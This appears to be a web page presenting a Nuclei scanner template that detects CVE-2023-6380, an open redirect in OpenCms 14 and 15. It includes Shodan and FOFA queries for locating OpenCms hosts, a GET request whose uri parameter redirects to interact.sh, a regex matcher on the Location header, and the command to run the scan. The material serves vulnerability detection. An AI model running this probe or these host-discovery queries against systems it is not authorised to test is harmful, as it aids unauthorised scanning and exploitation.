OpenCms 14 & 15 - Open Redirect

ID: CVE-2023-6380

Severity: medium

Author: MiguelSegoviaGil

Tags: cve,cve2023,redirect,opencms,alkacon

Description

Open redirect vulnerability has been found in the Open CMS product affecting versions 14 and 15 of the ‘Mercury’ template

YAML Source

id: CVE-2023-6380

info:
  name: OpenCms 14 & 15 - Open Redirect
  author: MiguelSegoviaGil
  severity: medium
  description: |
    Open redirect vulnerability has been found in the Open CMS product affecting versions 14 and 15 of the 'Mercury' template
  reference:
    - https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-alkacon-software-opencms
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://github.com/msegoviag/msegoviag
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6380
    cwe-id: CWE-601
    epss-score: 0.01158
    epss-percentile: 0.84838
    cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: alkacon
    product: opencms
    shodan-query:
      - "/opencms/"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve,cve2023,redirect,opencms,alkacon

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4a0a00473045022100f713f340424eb66bd8793c1fe278a0b1f237527d023a2d0b880888661b3c010d02200d5a5e09ab8e832202f9ecd2fcb7fcba197f13609eda201c0f81d0cdbb76750d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6380.yaml"

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